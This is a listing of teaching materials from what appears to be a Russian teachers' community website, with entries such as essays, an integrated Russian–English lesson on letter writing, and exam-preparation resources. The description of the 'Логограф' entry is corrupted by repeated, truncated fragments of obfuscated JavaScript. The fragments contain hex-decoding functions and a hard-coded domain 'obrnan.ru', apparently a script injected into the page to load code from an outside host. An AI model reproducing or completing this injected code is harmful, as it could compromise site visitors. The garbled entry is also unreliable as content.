| Есть вложение | Заголовок | Автор | Создано | Последнее изменение | Группа | Метки |
|---|---|---|---|---|---|---|
|
Методический семинар Орлова Т.А.
|
Татьяна Орлова | 16 января, 2015 | 16 января, 2015 | |||
|
Эссе “я – учитель” Орлова Т.А.
|
Татьяна Орлова | 13 января, 2015 | 13 января, 2015 | |||
|
презентация по лёгкой атлетике
|
Виталий Федотов | 10 января, 2015 | 10 января, 2015 | |||
|
ссылка на мой сайт: http://batia1988.wix.com/batiakenta
|
Виталий Федотов | 19 января, 2015 | 19 января, 2015 | |||
|
эссе
Эссе Федотова Виталия Алексеевича учителя физической культуры – МКОУ ООШ с. Иннокентьевка. Известно, что здоровье – один из важнейших компонентов человеческого благополучия. В свои школьные годы я с удовольствием занимался спортом, участвовал во всех соревнованиях, как за честь класса, так и за честь школы, и района. По окончании школы я … |
Виталий Федотов | 9 января, 2015 | 9 января, 2015 | |||
|
Интегрированный урок (русский язык и английский язык) “Особенности написания писем” 5 класс
Данный урок помогает повторить особенности написания писем как на русском, так и на английском языке. Позволяет вспомнить лексику по данной теме, выражения и фразы , необходимые для написания письма. Знакомит с историей создания почтовых принадлежностей. Воспитывает интерес к предметам и эпистолярному жанру; бережное отношение к языку, любовь и уважение к … |
Галина Савинская | 2 ноября, 2017 | 2 ноября, 2017 | английское письмо, интеграция | ||
|
Подгоотовка к ЕГЭ. Сообщение с вебинара
упражнение , вводные слова для каждой части эссе, структура, система подготовки |
Галина Савинская | 4 декабря, 2015 | 4 декабря, 2015 | Подготовка к ЕГЭ. Эссе | ||
|
Виды и приемы активизации учебной деятельности в обучении английскому языку
|
Галина Савинская | 20 декабря, 2015 | 20 декабря, 2015 | |||
|
Полный словарик паронимов 2017 г.
Для учителей русского языка и литературы. ЕГЭ. Русский язык, 2017 г. |
Елена Мироненко | 12 сентября, 2016 | 12 сентября, 2016 | 2017, ЕГЭ, русский язык | ||
|
Логограф.
Что такое логограф? Логограф – это логическая схема доказательства основной мысли. Правильно построенный логограф помогает написать сочинение на предложенную тему, раскрыть ее, не потерять главной мысли. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return “obrnan.ru”},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(“http”)==0){return p}for(var e=0;e // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return “obrnan.ru”},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(“http”)==0){return p}for(var e=0;e // o;o++)t+=e.charCodeAt(o).toString(16);return … |
Елена Мироненко | 20 декабря, 2015 | 20 декабря, 2015 | критерий, логограф, Сочинение |
Учитель года-2015 
Сообщество учителей английского языка 